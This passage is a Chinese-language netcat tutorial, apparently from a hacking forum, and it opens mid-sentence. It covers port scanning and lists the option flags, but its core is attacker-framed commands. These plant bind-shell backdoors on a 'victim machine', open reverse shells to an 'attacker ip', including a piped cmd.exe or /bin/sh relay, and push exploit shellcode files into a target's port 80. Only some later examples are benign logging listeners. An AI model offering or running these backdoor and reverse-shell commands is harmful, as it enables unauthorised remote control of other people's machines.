埠的刺探：
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡，在沒掃描器的時候使用。　：）

後門
victim machine: 　victim（受害者） machine(機器）呵呵我Ｅ文不好，標出來自己好認。
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連線victim_IP,然後得到一個shell。

反向連線

nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p portattacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2　（linux系統使用，不過我還沒有入侵過linux系統，linux學的太差了）
139要加引數-s（nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP）
這樣就可以保證nc.exe優先於NETBIOS。

埠資料抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15

===================================================================================================
'nc.exe -h'即可看到各引數的使用方法。
基本格式：nc [-options] hostname port[s] [ports] ...
          nc -l -p port [options] [hostname] [port]

-d 後臺模式
-e prog 程式重定向，一旦連線，就執行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助資訊
-i secs 延時的間隔
-l 監聽模式，用於入站連線
-L 連線關閉後,仍然繼續監聽
-n 指定數字的IP地址，不能用hostname
-o file 記錄16進位制的傳輸
-p port 本地埠號
-r 隨機本地及遠端埠
-s addr 本地源地址
-t 使用TELNET互動方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時

埠的表示方法可寫為M-N的範圍格式。

=====================================================================================================
基本用法：

大概有以下幾種用法：

1)連線到REMOTE主機，例子：
格式：nc -nvv 192.168.x.x 80
講解：連到192.168.x.x的TCP80埠

2)監聽LOCAL主機，例子：
格式：nc -l -p 80
講解：監聽本機的TCP80埠

3)掃描遠端主機，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
講解：掃描192.168.x.x的TCP80到TCP445的所有埠

4)REMOTE主機繫結SHELL，例子：
格式：nc -l -p 5354 -t -e c:/winnt/system32/cmd.exe
講解：繫結REMOTE主機的CMDSHELL在REMOTE主機的TCP5354埠

5)REMOTE主機繫結SHELL並反向連線，例子：
格式：nc -t -e c:/winnt/system32/cmd.exe 192.168.x.x 5354
講解：繫結REMOTE主機的CMDSHELL並反向連線到192.168.x.x的TCP5354埠

以上為最基本的幾種用法（其實NC的用法還有很多，
當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......）。

=====================================================================================================
高階用法：

6)作攻擊程式用，例子：
格式1：type.exe c:/exploit.txt|nc -nvv 192.168.x.x 80
格式2：nc -nvv 192.168.x.x 80 < c:/exploit.txt
講解：連線到192.168.x.x的80埠，並在其管道中傳送'c:/exploit.txt'的內容(兩種格式確有相同的效果，
      真是有異曲同工之妙:P)

附：'c:/exploit.txt'為shellcode等

7)作蜜罐用[1]，例子：
格式：nc -L -p 80
講解：使用'-L'(注意L是大寫)可以不停地監聽某一個埠，直到ctrl+c為止

8)作蜜罐用[2]，例子：
格式：nc -L -p 80 > c:/log.txt
講解：使用'-L'可以不停地監聽某一個埠，直到ctrl+c為止，同時把結果輸出到'c:/log.txt'中，如果把‘>'
      改為‘>>'即可以追加日誌

附：'c:/log.txt'為日誌等

9)作蜜罐用[3]，例子：
格式1：nc -L -p 80 < c:/honeypot.txt
格式2：type.exe c:/honeypot.txt|nc -L -p 80
講解：使用'-L'可以不停地監聽某一個埠，直到ctrl+c為止，並把'c:/honeypot.txt'的內容‘送'入其
      管道中